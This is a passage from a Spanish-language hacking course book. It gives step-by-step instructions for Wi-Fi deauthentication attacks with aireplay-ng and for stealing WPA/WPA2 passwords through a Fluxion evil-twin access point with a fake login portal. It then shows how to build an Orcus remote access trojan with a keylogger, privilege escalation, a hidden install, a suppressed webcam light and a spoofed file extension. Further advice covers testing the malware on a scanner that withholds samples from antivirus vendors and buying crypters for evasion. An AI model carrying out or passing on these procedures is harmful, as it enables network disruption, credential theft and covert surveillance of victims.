¿Qué es Airmon-ng?

Siendo una dependencia de Aircrack-ng, este script se utiliza para habilitar el modo monitor en
las interfaces inalámbricas, en este caso hablamos de nuestra antena externa. Al conseguir
esto, el sistema ahora nos proporcionará una interface identificadora para usar en modo
monitor, en este caso será wlan1mon.

Imagen 9.9: Modo monitor activado.

Seguido de esto haremos uso de Airodump-ng para poder encontrar Routers inalámbricos o
Access Points en el área.

Este es fue hecho con la finalidad de capturar paquetes de redes inalámbricas con estándar
802.11, permitiéndonos así encontrar redes inalámbricas en el lugar, para hacer esto desde
nuestro movil con NetHunter ejecutáremos el comando “airdoump-ng wlan1mon”, para así
ver los AP que puede encontrar nuestro adaptador externo.

Imagen 10.0: Identificación de redes con Airodump-ng.

Una vez que hayas encontrado la red objetivo, detienes el ataque con Ctrl + C y abrirás otra
terminal en el dispositivo, en esta nueva se hará uso de Aireplay-ng.

Esta es una herramienta de inyección de paquetes, lo que quiere decir que puede realizar una
variedad de ataques hacia redes inalámbricas, en este ejemplo se realizará el ataque hacia las
redes INFINITUMyjf4 y ARRIS-7992. En la nueva terminal se ejecutará el siguiente comando:

63
“aireplay-ng -0 15 -a (aquí va el BSSID) -e (Aquí va el ESSID) wlan1mon”.

Donde:

 aireplay-ng -0 15: Hace uso de la herramienta, estableciendo el tiempo que se quiere

dejar funcionando el proceso de des autenticación.
 -a: Dirección MAC de AP.
 -e: ESSID o nombre del AP.
 wlan1mon: Es la interface que está en modo monitor.

Imagen 10.1: Hosts Expulsados de la red Ajena.

¿Qué fue lo que sucedió? Mediante Aireplay-ng, hemos enviado frames de des autenticación
hacia el AP y a los clientes de este, como resultado expulsamos a todos los clientes que se
encontraban en la red por los 15 segundos que establecimos, aunque puedes aumentar la
duración del ataque por un tiempo mayor, sin embargo, el/los clientes podrán conectarse de
inmediato en cuanto paremos el ataque.
NOTA: Habrá ocasiones en las que la red objetivo estará operando en un canal distinto al de
nosotros, por lo que habrá que asignar dicho canal a la interface de red funcional.

Imagen 10.2: Selección de canal.

Una forma en la que
nos podemos percatar de esto es al momento de hacer el ataque DoS a dicha red, al hacerlo
mediante Aireplay-ng, este nos indicará que el BSSID especificado no está operando en el
mismo canal que nuestro dispositivo, por lo que se le tendrá que asignar un nuevo canal a
este.
64
Una manera de hacerlo es con el comando “iwconfig”, quedando así: iwconfig wlan1mon0
channel 4

Donde:

 iwconfig wlan1mon0: Se indica la interface que tenemos en modo monitor.

 channel 4: El canal en el que opera el AP ajeno.

Hecho esto, se lanza de nuevo el ataque:

Imagen 10.3: Des autenticación de Hosts en red ajena.

65
 3. Obtención de Passwords de Access Points con seguridad
WEP/WPA/WPA2.

WPA y WPA2 son dos algoritmos de seguridad diferentes que se utilizan para proteger las
redes inalámbricas. WPA utiliza TKIP, mientras que WPA2 utiliza tanto (TKIP y AES). Hoy en
día, los routers inalámbricos y Access Points usan un método rápido y sin problemas de
conexión a una red segura. El WPS es una característica que permite una fácil configuración
de redes seguras; sin embargo, este puede ser fácilmente crackeado u obtenido con las
herramientas adecuadas que tengamos en nuestra distro para pentesting.
Para esto WPA fue diseñado para reemplazar a WEP porque con el paso del tiempo se
descubrió que los errores de seguridad hacen que sea fácil de obtener acceso no autorizado
en cuestión de minutos. A pesar de que WPA y WPA2 son mucho más difíciles de crackear
o descifrar, es posible para romper la protección WPA y hasta el último algoritmo de cifrado
(WPA2).
En la siguiente demostración el uso de la fuerza bruta no será el vector de ataque como suele
serlo con muchas herramientas, ahora será el uso de un AP falso (Fake Honeypot) para la
obtención del password del AP legítimo, así no tendremos que esperar horas para encontrar
este password de acceso a la red, solo bastará con la obtención de un Handshake para
conseguir nuestro propósito, aquí es cuando aparece Fluxion.

¿Qué es y qué hace?

Fluxion es una herramienta que permite el crackeo u obtención de passwords de redes

inalámbricas mediante un ataque MITM un poco más completo y complejo de los que has visto
hasta ahora, algo que quizás notes es que Fluxion es un “remake” de “linset” (otra herramienta
para crackeo de redes), con la diferencia de que Fluxion es más estable y trae consigo nuevas
y mejores características, Fluxion hace el trabajo más rápido y limpio que muchas otras
herramientas, y por eso haremos uso de el en la siguiente demostración.
¿Qué necesitarás para este ataque?

 Un adaptador de red inalámbrico que sea capaz de realizar la inyección de paquetes, en

esta demostración se usará la antena TP-LINK TL-WN722N.

Para hacer uso de Fluxion desde NetHunter, debemos iniciarlo desde su directorio raíz, este
se encuentra en “/root/fluxion/”, y desde ahí instalarlo inicializarlo mediante el comando.
NOTA: Fluxion ya viene instalado en el dispositivo Nexus 6 proporcionado para el curso, si
deseas realizar la instalación en tu movil con NetHunter sigue los siguientes pasos.

66
Instalación de Fluxion en dispositivos con NetHunter.
1. MUY IMPORTANTE: Tu distro de NetHunter debe estar actualizada, ya que Fluxión
utiliza varias dependencias que no se hallan en la distro de NetHunter, no basta con
tener la última versión de esta, si no tener todos los “metapackages” actualizados, por
esto es importante tener los repositorios de Kali actualizados. Estos se hallan en el
archivo “[Link]” dentro del directorio “/etc/apt/”, hoy en día se usan los siguientes
repositorios, por lo que el siguiente contenido se debe hallar en el archivo, viéndose así:

deb [Link] kali-rolling main contrib non-free

# For source package access, uncomment the following line
# deb-src [Link] kali-rolling main contrib non-free

Imagen 10.4: REPOSITORIOS DE KALI.

2. Teniendo los repositorios correctos, es momento de poner al día el contenido de

NetHunter, esto se hace mediante el comando “apt-get update”, al ejecutarlo se
descargará e instalará el contenido necesario para que NetHunter se actualice.

Si al ejecutarlo aparecen errores sobre los enlaces de consulta y descarga, podemos

ejecutar el comando “apt-get update --fix-missing” para darle solución. Si los
problemas persisten, lo más recomendable es desinstalar CHROOT e instalarlo de
nuevo, este se encuentra en el menú de NetHunter, esto casi siempre arregla este tipo
de problemas, la nueva descarga e instalación de CHROOT tomará alrededor de 20 min,
al finalizarla, será necesario reiniciar el teléfono.

67
 Imagen 10.5: Remoción de CHROOT.

3. Al reiniciarse ejecutamos de nuevo el comando “apt-get update”, para que se lleve a

cabo esta actualización, esta tomará de 15 a 20 min, dependiendo la velocidad de
internet en lugar, durante la actualización se pedirá la autorización de ciertas
instalaciones, la otorgaremos, al finalizar esta actualización, desde el nuevo CHROOT,
desde la opción “ADD METAPACKAGES” instalaremos un par de grupos de
“metapackages”.
Estos serán los de “kali-linux-nethunter” y “kali-linux-wireless”, el primero contendrá
cosas adicionales para la distro, y el segundo contendrá las herramientas y
dependencias para que trabajen en conjunto con Fluxion, teniendo seleccionados estos
2 solamente, hacemos clic en “Install & update”, esta otra instalación tomará de 10 a
15 min, al finalizarla tendremos lo necesario para poder instalar y usar Fluxion en
NetHunter:

Imagen 10.6: Meta-paquetes a instalar

4. Descargaremos al movil la herramienta, solo basta con escribir el comando y pegar el

siguiente enlace seguido Ahora sigue la descarga de Fluxion, para esto abriremos una
nueva terminal y mediante el siguiente comando:
git clone [Link] lo que hará esto será crear un
directorio en “/root/” con el nombre de Fluxion, donde estará la descarga que
acabamos de hacer.
Teniendo todo listo, será necesario hacer uso del VNC Manager o VNC Server de
NetHunter, ya que Fluxion necesita un entorno gráfico en donde ejecutarse, esto se debe
a que hace uso de “xterms”, y estas no funcionan en la terminal convencional que hemos
utilizado hasta ahora. Por eso utilizaremos un básico entorno gráfico de Kali con el que
cuenta NetHunter.
Este necesita ser configurado antes de usarse, para esto navegamos al menú de
NetHunter y seleccionamos “VNC Manager”, lo primero que se tienen que hacer es
establecer un server, esto es con el botón “Start Server”, en donde se abrirá una terminal
nueva y solo se tendrá que configurar un password para este server, el password queda
a criterio tuyo:
68
 Imagen 10.7: Botón de inicio de servidor VNC.

Al terminar eso, la terminal se cerrará en 5 segundos, esto es parte del proceso de

configuración, después de eso volvemos a la ventana del VNC e ingresamos el password
que establecimos en la terminal, dejamos lo demás como está y hacemos clic en “Open
Connection”:

Imagen 10.8, 10.9 y 11.0: Configuración e inicio de servidor VNC,

5. Luciendo así el entorno gráfico de Kali, abriremos una terminal en este, esta se puede
ubicar en la parte inferior de la pantalla en este nuevo panel:

Imagen 11.1: Terminal en VNC Server.

69
 6. Para hacer zoom y poder usar el teclado se usan estos 3 botones:

Imagen 11.2: Botones de Zoom y Teclado.

7. Puesto que podemos llevar a cabo las mismas acciones por línea de comandos tanto en
este entorno gráfico como en el común, podemos acceder a los mismos directorios,
dentro de la terminal navegamos hacia el directorio “/root/fluxion/”, en donde reside la
herramienta. Dentro ejecutamos el comando “bash [Link]”, este iniciará la
instalación de Fluxion en NetHunter, solo basta con esperar a que termine.
8. Al finalizar, conectaremos nuestra antena inalámbrica al movil mediante el cable OTG,
hecho eso entramos al directorio de nuevo y ejecutamos Fluxion de esta forma
“./fluxion”, al hacerlo, hará el Checking de las dependencias necesarias para su uso, y
ya podremos usarlo.

Obtención de passwords de redes inalámbricas con Fluxion.

Imagen 11.3: Directorio de Fluxion en Kali NetHunter por VNC server.

Ahora que hemos finalizado la instalación, aparecerá un cuadro de dialogo en donde

especifican que no se hará mal uso de Fluxion ni tampoco el realizar ataques hacia redes
ajenas, tendremos que aceptar este mensaje para poder continuar, así que le presionamos
“Ok”. Al aceptar nos aparecerá un menú en el que seleccionaremos el lenguaje de nuestra
preferencia, luego de ello aparecerá otro menú en donde tendremos que escoger la interface
de red que se usará (nuestro adaptador inalámbrico), lo seleccionamos usando la opción 2,
en este caso se trata de “wlan1”:

Imagen 11.4: Selección de interface de red en Fluxion.

70
Seguido de esto tendremos que especificar si se quiere buscar redes en un canal en
específico o en todos, es recomendable hacer siempre la búsqueda en todos los canales,
por lo que seleccionaremos la primera opción, al hacerlo aparecerá una nueva ventana “xterm”
nombrada “WIFI o WIFI Monitor” en donde nuestra antena enviará tramas de sondeo para
hallar Access Points:

Imagen 11.5 y 11.6: Selección de canales e identificación de redes.

En esta nueva ventana se mostrarán los AP hallados en el área por la antena, mostrando en
columnas su BSSID, Intensidad de señal, Beacons, Canal, Tipo de Protección, y nombre
de cada uno. Este proceso de “Search & Find” no se detendrá hasta que se cierre la ventana,
por eso la cerraremos después de identificar la red objetivo para poder continuar en Fluxion.
Volviendo a él veremos estos mismos datos de nuevo, con la diferencia de que aquí se
muestran los AP o redes que muestran actividad (con clientes conectados),
diferenciándose con un asterisco al final de estas, aquí seleccionaremos la red víctima:

Imagen 11.7: Selección de red objetivo.

71
Teniendo escogida la red, aparecerá otro menú en donde seleccionaremos el vector de ataque
a usar, además de mostrar los detalles que previamente vimos acerca de la red, en este caso
usaremos a opción nombrada “Fake AP – Hostapd”.

Luego de esto tendremos que especificar en donde se va a guardar el file con extensión “.cap”
que contendrá el o los “Handshakes” que se obtengan durante el ataque para usarlos en un
futuro si así se decide, en este caso dejaremos vacío este campo, puesto que aún no tenemos
estos “Handshakes”:

Imagen 11.8 y 11.9: Selección de opción de ataque y directorio predeterminado.

Luego de lo anterior, se tendrá que seleccionar un método de revisión o “Checking” de los

“Handshakes” que se vayan obteniendo, aquí seleccionaremos a “Pyrit” ya que realiza el
trabajo más rápido que otros debido a su código, en donde nos permite obtener ciertas fases
de autenticación en un tiempo más corto, luego de esto se tendrá que seleccionar el método
o herramienta para la des autenticación de clientes, aquí seleccionaremos a “mdk3”, que
previamente usamos y entendimos como funciona, aquí en Fluxion su acción esta
automatizada:

72
 Imagen 12.0 y 12.1: Selección de opción y método de obtención de Handshake.

Al seleccionar esto, comenzará el ataque de expulsión de clientes en la red objetivo, esto con
el fin de que se conecten de nuevo ya sea de forma automática o voluntaria y así obtener el
“Handshake”, notarás que de las ventanas abiertas habrá una donde se muestra el monitoreo
y captura de “Handshakes” y otra donde se lleva a cabo el ataque “deauth”, esto con el fin de
darle continuidad a la obtención de “Handshakes”:

Imagen 12.2: Handshake obtenido y ataque DoS por mdk3.

Una vez conseguido el “Handshake” volvemos al panel de Fluxion y seleccionamos la acción

de “Chequear Handshake” para hacer la validación de este. Es posible que estos salgan
“Corruptos” (inservibles) al momento del “Checking”, lo recomendable es esperar a obtener
más o comenzar el ataque de nuevo desde el comienzo. Si el “Handshake” obtenido es válido,
se mostrará un menú nuevo en donde escogeremos si queremos crear un certificado SSL o
usar uno existente, crearemos uno seleccionando la primera opción. Esto se hace con la
finalidad de personificar un portal falso y así se le proporcione mayor fidelidad a nuestra acción
de ataque, mostrando así un “Fake Login” al momento de conectarse al AP falso.

73
 Imagen 12.3 y 12.4: Chequeo de Handshake y creación de certificado SSL..

Al terminar de crearse el certificado SSL, tendremos que seleccionar el método de obtención

del password de la red, como es de saberse, vamos a crear un AP Falso, por lo que tendremos
que usar un vector de ataque mediante ingeniería social, por lo que escogeremos la opción de
“Web Interface” que será lo que nos permitirá hacer uso del portal falso.

Al seleccionarla, aparecerá un listado con múltiples interfaces web en diferentes idiomas,

seleccionaremos el de nuestra preferencia, para este ejemplo se usó la opción 5:

Imagen 12.5 y 12.6: Selección de método de captura de password y página de Loggeo.

Al seleccionar la interfaz web, se ocultará la red víctima y se creará un Access Point Falso con
el nombre de la red objetivo, seguido de esto comenzarán varios procesos, entre ellos un FAKE
DNS, en donde todo el tráfico que esté fluyendo por el AP falso será redirigido a nuestro movil
mostrándolo en la terminal donde corre este proceso.
También tenemos un Filtro DHCP, este va a capturar todas las solicitudes o “requests” que
provengan por parte del dispositivo o dispositivos conectados al Access Point, así como
también tenemos una terminal en donde se muestra información a detalle a cerca del AP Falso
que creamos, y los clientes (dispositivos) que están conectados a él, en este caso se ha
conectado intencionalmente un dispositivo iOS al Fake AP, por lo que las ventanas o
terminales muestran información relevante a ello:

74
 Imágenes 12.7, 12.8, 12.9 y 13.0: Paneles de trabajo de Fluxion.

De lado del movil del cliente (sea un dispositivo Android o iOS) al mostrar las redes
inalámbricas disponibles notaremos que ha desaparecido el identificador de red segura para
la red legítima y se mostrará como abierta, este es nuestro Access Point Falso, al
seleccionarlo se abrirá un panel que contendrá el “Fake Login”.

En este portal falso en donde se ingresará la contraseña del AP legítimo. Al crearse este Fake
AP, se mostrará como una red abierta, por lo que al conectarse a ella aparece el “Banner” de
“Recomendación de Seguridad” (en Android no es así)

Imagen 13.1 y 13.2: Acceso Point Falso en IOS Y Android.

Una vez que el cliente/los clientes víctima intenten conectarse a la red, se les mostrará el “Fake
Login” que está trabajando en conjunto con el certificado SSL antes creado, dentro de este
sitio falso o “Scam” se les pedirá el password para poder hacer uso de la red Wi-Fi.

Una vez proporcionado el password de la red, se mostrará un nuevo recuadro de espera,

mientras tanto en el movil, mediante la conexión al AP Legítimo Fluxion hará un rápido
“Checking” del password para verificar si este es correcto, si lo es, detendrá el ataque de
inmediato y revivirá el AP legítimo para que la víctima o el cliente se conecten en ese mismo
momento, de lo contrario, si no es el password correcto se seguirá pidiendo:

75
 Imagen 13.3 y 13.4: Envío de password mediante portal falso.

Al ingresarse el password correcto y terminado el proceso anterior, en Kali veremos que ha

aparecido una nueva ventana nombrada “Wifi Information” en donde aparece la clave
WPA/WPA2 de la red legítima:

Imagen 13.5: Password visualizado después del envío en el portal falso.

Así como también el directorio del archivo de salida o “output” donde se guardan el o los
passwords de la redes crackeadas, el cual es “/root/”NombreDeLaRed -[Link]”:

Imagen 13.6: Password guardados de redes Hackeadas.

Habiendo terminado todo, podemos detener y cerrar Fluxion, este al cerrarse, establece la
configuración previa antes de ser usado o ponerse en marcha, devolviendo los valores
anteriores a varios parámetros de configuración y dejando las interfaces de red tal cual
antes de haber sido inicializado:
76
 Imagen 13.7: Cierre de Fluxion.

Como se vio en esta demostración, la obtención de passwords de Routers inalámbricos

con seguridad WPA/WPA2/WEP resulto bastante fácil y rápida, sin tener que recurrir a usa la
Fuerza Bruta y que nos tome mucho tiempo o que simplemente no podamos obtenerla por
otras limitantes. Cabe destacar que el uso de Fake Access Points o Honeypots resulta
bastante eficiente para cumplir propósitos de este tipo, así como el uso de ingeniería social
para persuadir a la víctima a ingresar a portales falsos, ejemplificando aquí su uso para
persuadir a la/las víctimas a proporcionar contraseñas de redes Wi-Fi con tal de seguir
navegando en internet.

EXTRA: DoS mediante Fluxion.

Como se mostró a lo largo del ejercicio, se vieron involucradas acciones de ataque tipo “Denial
of service” al montar el Fake AP, esto quiere decir que Fluxion puede hacer un ataque de
tipo “deauth” hacía una red en específico, aunque esta no sea su finalidad, resulta útil en
escenarios como los antes descritos en los ejercicios de “DoS”, y más porque Fluxion
automatiza la mayoría del proceso, solo basta con seguir los pasos anterior hasta la captura
de los Handshakes o hasta la creación del AP Falso si es que queremos ver qué dispositivos
se están expulsando.

Solo bastará con seleccionar la red objetivo y el método de captura de Handshake (método
deauth), siendo “mdk3” el más eficiente:

Imagen 13.8, 13.9 y 14.0: DoS hacia una red mediante Fluxion.

77
78
Introducción.

Siendo estos potencialmente peligrosos para muchos sistemas informáticos, los RATs (Remote
Access Trojans) por su traducción al inglés, son piezas de software que nos permiten llevar a
cabo una infección mayormente perjudicial, consiguiendo así acceso no autorizado al ordenador
de la víctima, abriéndonos la puerta para poder realizar tareas de monitoreo (surveillance), robo
de información sensible, como lo son passwords, información personal, tarjetas de crédito, etc.

Los RATs tienen el potencial de recolectar sumas cantidades de información de varios equipos
o personas, por lo que si un equipo ha sido infectado por algún software de este tipo, toda o mucha
información personal que se encuentre dentro de este habrá sido comprometida.

Los RATs también tienen su lugar en el mundo laboral o corporativo, ya sea que eres
administrador o jefe de sistemas, o de algún área en específico y estas a cargo de ciertos equipos
y las políticas del trabajo mencionan que el personal está sujeto a monitoreo constante en horas
laborales, este tipo de herramientas de administración remota pueden ser tu solución, ya que
pueden ser utilizadas para revisión constante de las tareas que se llevan a cabo en el quipo
mientras el personal lo usa.

¿Cómo difieren los RATs de otros troyanos?

La diferencia clave entre keyloggers, troyanos y demás malware de uso local, es que un RAT nos
permite tomar acceso hacia la maquina victima mediante especiales protocolos de
comunicación que son configurados como parte de la infección inicial en el equipo objetivo. Esta
puerta trasera o “Backdoor” permite el acceso sin restricciones dentro del equipo víctima,
consiguiendo así el monitoreo de esta persona o el del equipo, hacer “keyloggin”, explorar
archivos, cambiar configuraciones, hacer uso de la conexión a internet o ancho de banda de este
ordenador para actividades ilícitas, convertir esta máquina en un zombie para hacer un ataque
DDos, y mucho más.

En este capítulo se ejemplificará el uso y funciones de diferentes troyanos de acceso remoto, estos
serán Orcus, Luminosity Link y n-W0rm, siendo estos 2 primeros los de uso recomendable,
puesto a que cuentan con extenso repertorio de funciones para llevar a cabo tareas de post-
explotación y que ofrecen una estabilidad mayor a diferencia de otros RATs o herramientas de
administración remota.

79
Comenzando nuestra aproximación.

Como se mencionó antes los RATs son herramientas diseñadas con la finalidad de ejecutar acciones
específicas vía remota y tener privilegios administrativos superiores, puesto a que tienen una
extensa capacidad de ejercer control y acciones (algunos RATs, no todos). Gracias esto, este tipo
de software es utilizado con fines malintencionados por ello, son catalogados como malware.

Parte esencial y necesaria al construir nuestro binario (cliente) es la configuración “Client/Server”

(como lo es en todos los RATs), a diferencia de los binarios y demás malware que operan a nivel local
en una red, estos difieren a la configuración de un RAT, el equipo atacante funcionara como un
Servidor y las victimas como Clientes:

Imagen 14.1: Arquitectura de Orcus RAT.

Sabiendo esto, es momento de crear nuestro cliente RAT.

¿Qué necesitarás par este ataque?

 La máquina virtual “Win 7” proporcionada el material.

 Orcus Remote Admin Tool.
 Conexión a internet (una buena es recomendable, si es que vas a infectar un equipo)

Dentro del material proporcionado para el capítulo 2, encontrarás los 2 primeros elementos para trabajar con
esto.

NOTA: Las pruebas documentadas a lo largo de este capítulo se realizaron en un servidor privado virtual (VPS) atacando a un
Windows 8/10, para comprobar su efectividad en S.O recientes, esto se hizo mediante el acceso por escritorio remoto, por lo que si
deseas alquilar algún VPS (hay desde 14 US DLLS),para hacer estas pruebas sin tener que usar el RAT desde tu sistema operativo
nativo, puedes pagar por el servicio y hacerlo de esta forma, o puedes trabajarlo desde y sobre la máquina virtual con Windows 7
proporcionada, con la diferencia de que trabajando con la máquina virtual Windows proporcionada nos infectaremos a nosotros mismos
y de esa forma trabajáremos y profundizaremos en el uso de los 4 RATs que veremos. Sin embargo, la forma de aproximación que
haremos en la máquina virtual para infectar o controlar el equipo, desde la configuración del troyano hasta su despliegue, uso
de funciones y modalidades de ataque, funciona exactamente igual que con un equipo real o físico al que se quiera monitorear
o infectar. De la pag.

80
Configuración de un RAT.

Una vez estando en el equipo Windows, copiamos el contenido de la carpeta Orcus hacia esta,
hecho eso abriremos Orcus.

Imagen 14.2 y 14.3: Ubicación de herramienta, panel de Conexión y opción para crear un nuevo servidor.

Al abrirse lo primero que se mostrará será este panel para poder conectarse a un servidor, una
ventaja que tiene Orcus es que a donde lo lleves se conectará al server que fue creado, solo
basta con ingresar la dirección IP, puerto correspondiente y password proporcionados, esto lo
haremos con posterioridad, por ello, primero debemos crear el server antes mencionado, esto
desde la opción remarcada “Create new server”:

Imagen 14.4: Configuración del servidor

En esta nueva ventana ingresaremos la dirección IP correspondiente, en este caso hablamos del
equipo Windows que está en uso, otra ventaja de Orcus es que te permite crear un servidor con
las direcciones IP que requieras, en este caso solo usaremos una, también asignaremos un
puerto que se encuentre abierto en el equipo, uno común es el 80, que es donde corre el servicio
HTTP, aunque puedes escoger otro puerto (abierto).

81
Al tener los datos necesarios pulsaremos “ADD” para agregarlos a la lista del Server, es
importante esto, ya que sin ello el server creado no tendrá utilidad alguna, terminado eso,
ingresaremos un password, este password servirá como factor de autenticación para iniciar
nuestro trabajo con la plataforma de Orcus, cabe destacar que cada que genere un server, será
necesario proporcionarle un password, ya que con este ingresaremos al panel de trabajo de
Orcus, hecho esto escogeremos que trabajaremos sobre la interfaz gráfica (GUI) de Orcus, con
esto último listo, crearemos el Server con “BUILD”, al hacerlo nos preguntará en donde vamos a
guardarlo, al momento de crearse, ORCUS hace una nueva carpeta en su directorio
nombrada ”server”, que será donde la guardaremos, hecho esto, abrimos el archivo
“[Link]”:

Imagen 14.5 y 14.6: Selección de interfaz para configuración y generación de archivo de configuración para el server.

Al hacerlo se mostrarán datos relevantes a la configuración que establecimos previamente, como

lo es la dirección IP, puerto asignado y password, también vemos 2 recuadros, uno nos muestra
un breve resumen o “Summary” acerca de la actividad llevada a cabo hasta ahora en el server,
en donde nos indica que el Listener ha comenzado en él, también tenemos otro recuadro en donde
nos indica el “Status” del server, como lo es el número de admins, de clientes conectados y si está
en función.

Imagen 14.7: Adición del listener y password.

82
Los Servers son creados en la maquina atacante/administradora, el código de este server
trabajará en conjunto con el código del cliente, interpretando a un socket, estos binarios (clientes)
se distribuyen a distintas maquinas o a un solo objetivo, una vez estando ahí y ejecutados, estos
establecerán una conexión hacia el servidor (atacante/administrador) y estarán a la espera de
comandos y acciones por ejecutar.

El lado de server (administrador) nos provee de una interfaz gráfica para trabajar con todas las
conexiones establecidas o provenientes (Clientes/Víctimas), otorgando control suficiente sobre
el sistema y la capacidad ejecutar numerosas tareas, para esto, tendremos que ingresar a la
plataforma de trabajo de Orcus, esto se hace desde el primer panel que se mostró, en donde
ingresaremos la dirección IP y password que se configuraron durante la creación del server:

Imagen 14.8 y 14.9: Conexión a servidor y panel de administración con opción “Build”.

Estando en la plataforma, a simple vista podremos notar que este software cuenta con múltiples
funciones, pero en realidad tiene más de lo que puedes imaginar y explicar todas y cada una de
estas, así como todo el funcionamiento y modo de uso del RAT tomaría un libro completo, por lo
que veremos las acciones más importantes. Para poder crear nuestro cliente (binario/troyano)
usaremos la opción “Build” que la parte superior izqda. de la ventana.

Dentro nos toparemos con una serie de pasos/protocolos de creación para este binario, siendo
el primero la configuración general (General Settings), en donde se especifica el grupo
identificador de clientes (Tag), el “Mutex” que es para establecer que una sola instancia del cliente
corra en el sistema, este puede dejar tal cual o generar de forma aleatorio (random), el Keylogger,
es recomendable dejarlo habilitado, y los privilegios, habilitar esta opción hace que al momento
de la ejecución del binario se adquieran privilegios administrativos:

83
 Imagen 15.0: Configuraciones generales.

El segundo paso será establecer los parámetros de configuración de la conexión, en esta parte
solo añadiremos la dirección IP y puerto previamente asignados al servidor (Nosotros), para
establecerlos solo presionamos en “ADD”, es importante hacerlo, de lo contrario no servirá nuestro
troyano:

Imagen 15.1: Configuración en el apartado de Conexión.

El tercer paso es configurar las “medidas de protección” para el binario a crear, en esta nueva
ventana tendremos múltiples parámetros opcionales en donde podrás personalizar estos
parámetros a tu gusto, de las 3 opciones solo estarán las 2 primeras habilitadas por default en
este ejemplo deshabilitaremos la primera puesto a que este binario lo ejecutaremos en una
máquina virtual. Por lo que solo utilizaremos la segunda opción, para hacer que una técnica
Anti-Debugging acompañe al binario:

Imagen 15.2: Configuración d medidas de protección para el binario.

El paso numero 4 será configurar la instalación del cliente (binario), aquí nos proveen de
múltiples opciones de configuración, como lo es el lugar/directorio raíz donde residirá el
cliente/troyano, si queremos ocultarlo de ahí, cambiar la fecha de creación de este, forzar la
obtención de privilegios administrativos al momento de la instalación, el auto-inicio del mismo
y el nombre con el que se identificará:
84
 Imagen 15.3: Apartado de instalación.

El quinto paso (Opcional) será añadir información del ensamblaje o producción del software, aquí
podemos añadir información adicional a nuestro binario, como es el nombre, compañía,
producto, versión de este, copyright y demás detalles que lo pueden hacer lucir como una pieza
de software legítimo y confiable, en este caso se ingresaron los siguientes datos, solo es necesario
habilitar la opción “Change Assembly Information”, o si se tiene esta información lista en un
archivo, solo se carga desde la opción “LOAD FROM FILE”:

Imagen 15.4: Apartado para información de ensamblaje.

El paso numero 6 será la adición de “Plugins”, estos nos sirven para agregar funciones extra con
el fin de proporcionar cierto apoyo a las tareas de post-explotación/monitoreo, como lo es en
este caso el no encender la luz de la Webcam al momento de acceder a esta.
NOTA: Este plugin solo funciona en ciertos componentes de hardware (laptops), por lo que no
puede funcionar en otros, sin embargo no está de más tomarlo en cuenta:

Imagen 15.5: Plugin Seleccionado.

85
El séptimo y último paso es generar el viario mediante el “Builder” parchar o corregir errores que
ocurren durante la compilación de nuestro binario, como lo son bugs en el código, visualizaciones
no deseadas del source-code, etc. Para esto, hay apartado de “Patches” para instalar al en el
binario, para lo anterior seleccionaremos la opción “Orcus Patcher” y para esconder la extensión
del binario ejecutable usaremos “Extension Spoofer”.

Opcional: Si se quiere cambiar el icono del binario podemos escogerlo desde la opción “Change
Icon”.

IMPORTANTE: La selección del Framework objetivo es crucial para el éxito de la explotación de

la víctima, ya que en base al framework escogido mayores posibilidades de lograr el éxito/infección
conseguiremos. El compilador o “Builder” de Orcus puede construir el binario en los 3 tipos de
.NET Framework, 3.5, 4.0, 4.5 por ello tendremos que escoger alguno, en este caso se escogió el
3.5:

Imagen 15.6 y 15.7: Últimos detalles y selección de Framework de .NET

Teniendo seleccionado el Framework de .NET, mediante la opción “BUILD” haremos la

compilación del troyano y lo guardaremos con el nombre y en el lugar de nuestra preferencia.

86
Familiarizándonos con un Crypter.
Como es de esperarse, este binario saldrá con una forma común y simple, con la diferencia de que
se le agregó algo de información de ensamblaje mediante Orcus pero hasta ahí, no tiene icono, no se
le ha hecho con ningún “Modding” para ofuscar los patrones o bloques del código con el fin de
conseguir la evasión de sistemas de seguridad o antivirus (Fudding).

Lo que significa que la forma de conseguir la infección con este ejecutable es que nosotros mismos lo
hagamos llegar al equipo víctima, desactivar protecciones, y ejecutarlo, o convencer a una persona
bastante ignorante para que haga todo esto (idea absurda). Pero antes de que intentemos esto habrá
que saber que tan amenazante resulta este binario.

Esto lo sabremos mediante plataformas de escaneo online, estas resultan bastante útiles al
momento de realizar este tipo de pruebas/ataques. El modo en el que funcionan es bastante simple,
en esta plataforma se hospedan múltiples computadoras cargadas con los diferente software de
protección (antivirus), en donde al momento de cargar nuestra muestra de software/malware será
analizado por todos estos antivirus (35), al terminar este proceso se mostrará un resumen de los
resultados indicando detalles como el índice de detección, MD5 y los antivirus que encontraron esta
muestra perjudicial y los que no encontraron nada. En este ejemplo utilizaremos la plataforma de
NoDistribute, visitando [Link]

IMPORTANTE 1: NoDistribute (como su nombre lo indica) no distribuye las muestras enviadas ni

tampoco los resultados obtenidos, ya que es común que otras plataformas como
[Link] distribuyan estos resultados a las casas antivirus, lo que resulta perjudicial
para nosotros porque así estas tendrán en sus bases de datos el código que compone a este software,
por lo que costará más trabajo lograr la evasión de antivirus (FUD) para nuestro malware, por lo que
es altamente recomendable utilizar solamente esta plataforma.

Al ingresar al sitio web, cargar nuestra primera muestra de malware y enviarla, los resultados
aparecerán mostrando los detalles anteriormente mencionados:

Imagen 15.8: Resultados de plataforma de escaneo.

Podemos notar que 17 de los 35 antivirus operando en la plataforma categorizaron nuestro

software como malware, lo que quiere decir que casi el 50% de estos lo detectó y está muy lejos
de pasar desapercibido en muchos equipos convencionales/profesionales y va a requerir algunos
cambios en su arquitectura.

87
IMPORTANTE 2: Estos resultados que se muestran son los que se consiguieron a la fecha
en la que se redactó este libro, por lo que en un futuro pueden cambiar, o mientras estás leyendo
esto estén cambiando notable o drásticamente estos resultados. Cabe mencionar que no porque
nosotros utilicemos esta plataforma para analizar nuestras muestras de malware quiere decir que
no exista la posibilidad de que el código no llegará a las BD de las casas antivirus, ya sea porque
alguien más lo está distribuyendo, lo estudiaron en los laboratorios o mil razones por las que lo
tengan, hará que nuestro índice de detección aumente (Aún con Fudding).

Lo que quiere decir que el método de evasión de todos o ciertos antivirus ya no es funcional, por
lo que habrá que encontrar otra forma de lograrlo, la solución más común para esto es comprar
un crypter privado, existen varios y diferentes sitios/medios para conseguirlos, pero queda bajo
tu responsabilidad la forma en que lo compres (o intentes) puesto a que hay mucho fraude en
cuanto a la venta de software de este tipo, por lo que te recomiendo tener muchísimo cuidado y
ser precavido en los sitios donde vayas a querer comprar o intentar comprar algo, ya sea mediante
PayPal, Bitcoin o algún otro método de pago.

Volviendo al troyano y los cambios a realizarle, durante este ejemplo haremos uso de un “Crypter”,
existen muchos de estos, unos más completos/complejos que otros, sin embargo todos tienen una
